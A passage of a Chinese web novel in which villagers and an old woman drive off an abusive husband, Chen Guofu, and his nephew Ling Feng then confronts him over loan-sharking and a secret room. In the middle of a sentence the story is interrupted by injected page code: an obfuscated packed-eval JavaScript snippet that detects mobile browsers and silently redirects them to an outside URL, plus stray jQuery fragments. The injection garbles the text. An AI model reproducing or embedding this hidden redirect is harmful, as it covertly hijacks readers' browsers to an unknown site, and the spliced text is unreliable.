陈国富没想到,那个先前对自己百依百顺、柔弱可欺的林秀,竟然敢如此硬气,一定是那个糟老婆子教的,随即陈国富的眼光恶狠狠的瞪了啊七婆。
“贱人!你敢威胁我?!”陈国富恼羞成怒,试图用暴怒掩盖心虚,他猛地抬手似乎又想动粗:“老子今天就……”
“陈国富!”
一声苍老却如同惊雷般的厉喝,猛地打断了他!
啊七婆一步步从废墟前走上前,佝偻的身躯此刻仿佛蕴含着无尽的力量。她挡在林秀身前,那双燃烧着冰冷火焰的眼睛死死盯着陈国富,声音因为极致的愤怒而微微颤抖,却带着不容置疑的威严:
“你还想当着我们全村人的面行凶吗?!你看看秀丫头!你看看她!”啊七婆猛地指向林秀:“她刚来我这儿的时候,身上那是什么样子?!旧伤叠着新伤!青一块紫一块!额头上的疤还没掉!胳膊腿瘦得就剩一把骨头!眼神里全是怕!怕得像只快要被吓死的小雀儿!”
“她是你老婆!是你明媒正娶、拜过天地、说过要护着一辈子的结发妻!你怎么就能下得去那样的狠手?!你还是不是个人?!”啊七婆的控诉,如同带着血泪,字字诛心!她目光扫过周围每一个村民,声音带上了哽咽,却更像是一种悲壮的动员:
“乡亲们!老少爷们!咱们明北山村,祖祖辈辈住在这里,虽说在外人眼里穷山恶水,可从来没出过这等丧尽天良、打老婆、烧房子、还敢上门逞凶的恶徒!今天他们能烧我老婆子的破屋子,明天就敢烧你们家的新房!今天他们敢这么对秀丫头这个外乡人,明天就敢欺负到你们自家闺女媳妇头上!”
啊七婆猛地看向村长,几乎是带着乞求,却又无比坚定:“村长!今天这事,不能就这么算了!咱们村,不能任由外来的恶人这么欺负!求大家伙儿……帮帮忙!护着点这个苦命的丫头!也护着咱们村子自个儿的安宁!”
啊七婆这番仗义执言,如同点燃了最后的导火索!
村民们积压的怒火、对最有可能是纵火者的愤恨、对林秀遭遇的同情、以及啊七婆最后那句关乎自身利益的提醒,瞬间被彻底引爆!
“七婆说得对!不能让他们这么走了!”
“太欺负人了!打女人!烧房子!还有没有王法了!”
“当我们明北山村没人了吗?!”
“滚出去!滚出我们村!”
群情激愤!村民们自发地围拢上来,男人们攥紧了拳头,女人们怒目而视,甚至连半大的孩子都捡起了地上的石子!同仇敌忾的气势如同实质的墙壁,狠狠压向陈国富一伙!
尽管陈国富叫嚷着:“你们想干什么!别听那个老太婆胡说八道,一看就是睁眼说瞎话,那些事跟我没关系!现在都文明社会了,可不兴空口无凭的话啊!”
啊七婆讥讽着说道:“文明社会?这话居然能从你口里说出来?”
眼见形势有失控的风险,村长此刻也是面色铁青,彻底下了决心。他上前一步,指着村口的方向,对着陈国富厉声道:“陈国富!你也听到了!看到!我们村不欢迎你!带着你的人,立刻滚出明北山村!否则,别怪我们不讲情面!咱们山里人别的没有,就是团结!你要想试试,尽管放马过来!”
面对眼前这黑压压一片、怒火冲天、显然已经流露出无所顾忌的村民,陈国富和他那几个打手终于慌了!他们再横,也知道双拳难敌四手,好汉不吃眼前亏的道理。真动起手来,他们绝对讨不到好果子吃!
陈国富脸色青白交替,眼神中的凶狠最终被不甘和怨毒所取代。他死死地瞪了林秀一眼,那眼神仿佛在说“你给我等着”,然后又阴鸷地扫过啊七婆和村长,从牙缝里挤出几个字:“好!好!你们明北山村……有种!”
陈国富猛地一挥手,对打手们吼道:“我们走!”
打手们如蒙大赦,连忙护着陈国富,在村民们愤怒的目光和唾骂声中,狼狈不堪地朝着村口退去。
眼见着就要退出人群范围,陈国富忽然停下脚步,猛地转过头,目光越过众人,死死盯住了一直护在林秀身边的凌风。
陈国富脸上挤出一个极其扭曲、带着威胁和某种暗示的假笑,声音刻意放得缓和,却带着不容拒绝的压迫感:
“凌风!我的好外甥!见到舅舅,怎么连声招呼都不打?怎么?跟着外人一起,连舅舅都不认了?”
陈国富顿了顿,声音压低,带着一种诡异的亲昵和命令:“过来!舅舅有话要单独跟你说!关于你爸妈……还有些‘家里’的事……”
村民的目光随之集中到凌风身上,纷纷窃窃私语起来:
“这小伙刚刚还救火来着,怎么会和那群人有关系啊!”
“难道是来监视村里的?所以这坏家伙才要跟他单独说话?”
“他刚刚是不是有叫啊七婆家的那位为舅妈啊!还真有关系,都说外甥亲舅舅,保不齐真是一伙的!”
林秀听后赶忙替凌风撇清关系:“凌风和陈国富不一样!他们是亲戚不假,可凌风知道事情来龙去脉后,一直在帮助我,他不会和陈国富有勾结的,大家请相信凌风!”
啊七婆也附和道:“风小子我知道,我啊七婆保证跟那个陈国富不是一路人!风小子,你说句话,要是不想跟你舅舅谈,直接拒绝了,就像没有人能逼秀丫头一样,同样也没有人能逼你!”
凌风欣慰的点了一下头:“谢谢你们相信我!不过我想了一下,有些话是有必要说清楚,让我稍稍离开一会儿。”
林秀紧紧拉着凌风的手,她领略过陈国富的歹毒,她怕陈国富疯起来,连自己的亲外甥都要动。林秀没有张嘴,只是不断的摇着头,凌风轻轻地拍了拍林秀的手:“没事的,舅妈!他们奈何不了我!”
旋即凌风挣脱开林秀,在拜托村民照顾一下舅妈后,径直同陈国富离开了啊七婆被烧毁的房子。
明北山村村口,清晨的薄雾尚未散尽,空气中还残留着焦糊味和硝烟般的气息。陈国富带着几个垂头丧气的打手,停在几辆沾满泥泞的越野车旁。他脸色铁青,眼神阴鸷地盯着随后跟来的凌风。
凌风在距离陈国富几步远的地方站定,双手插在裤兜里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289491|181506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脊背挺得笔直,脸上没有丝毫往日的亲近,只有毫不掩饰的疏离和警惕。他看着眼前这个曾经被他称为“舅舅”的男人,只觉得无比陌生和……恶心。
“怎么?现在连声舅舅都不会叫了?”陈国富率先开口,声音带着刻意压抑的怒火,和一种虚伪的痛心疾首:“凌风啊凌风,我真是白疼你了!你看看你现在,跟谁站在一起?帮着外人来对付你亲舅舅?你爸妈要是知道了,心都得寒透了!”
陈国富试图用亲情来软化凌风,语气甚至带上了一丝委屈:“我是你亲舅舅啊!从小看着你长大!你忘记了吗?有一次你小时候生病,是谁连夜背着你去找医生?你被你爸爸打,是谁领着你去游乐场玩?现在倒好,听风就是雨,宁愿信一个疯婆娘和一个装神弄鬼的老太婆,也不信自家人?你还有没有点良心?!”
这番颠倒黑白、避重就轻的话,让凌风胸中的怒火瞬间被点燃!他猛地抬起头,眼神锐利如刀,毫不退缩地直视着陈国富那双充满算计的眼睛:
“良心?你跟我谈良心?!”凌风的声音因为愤怒而微微颤抖,却异常清晰有力:“你对我好?是!你给过我钱!帮过我忙!可那都是建立在你那些肮脏钱的基础上!建立在刘老栓那样的可怜人,被你们逼死的血泪上!”
凌风向前逼近一步,声音陡然拔高:“你敢不敢看着我的眼睛说,你保险室下面那个密室是干净的?!你敢不敢说里面没有成堆的、沾着血手印的借据?!没有你们放高利贷、暴力催收的账本?!没有那些来路不明的黑钱?!”
凌风的质问如同连珠炮,每一个字都像重锤砸在陈国富的心上!陈国富的脸色瞬间变得极其难看,眼神闪烁,下意识地想要反驳,却被凌风所说的事实,以及他的气势压得一时语塞。
“是不是林秀那个贱人跟你说的?!”陈国富恼羞成怒,声音变得尖利刺耳,试图转移矛头:“她疯了!她的话你也信?!她就是想挑拨离间!想报复我!她是不是跟你提过钥匙?!她是不是把钥匙给你了?!交出来!”
“钥匙?”凌风冷笑一声,眼神充满了鄙夷:“我不知道什么钥匙!舅妈她根本就没带走钥匙!她逃出来的时候太害怕,早就扔了!是你自己心里有鬼!是你自己坏事做尽,才整天疑神疑鬼!”
凌风深吸一口气,压下翻腾的怒火,语气带着一种近乎悲悯的劝诫:“舅舅……这是我最后一次叫你舅舅。收手吧!去自首!把你和强哥干的那些事,一五一十交代清楚!高利贷害了多少人?刘老栓是怎么死的?那些假警察又是怎么回事?还有你密室里那些见不得光的东西……你以为真的能瞒天过海一辈子吗?要想人不知,除非己莫为!现在回头,或许还能争取个宽大处理!”
“放屁!”陈国富像是被踩了尾巴的猫,彻底炸毛了!他指着凌风的鼻子,唾沫横飞地咆哮道:“自首?老子凭什么自首?!老子清清白白做生意!是林秀那个疯婆娘诬陷我!是你们这些白眼狼合伙害我!钥匙!钥匙肯定在你们手里!交出来!不然……”
陈国富眼中凶光毕露,威胁之意不言而喻。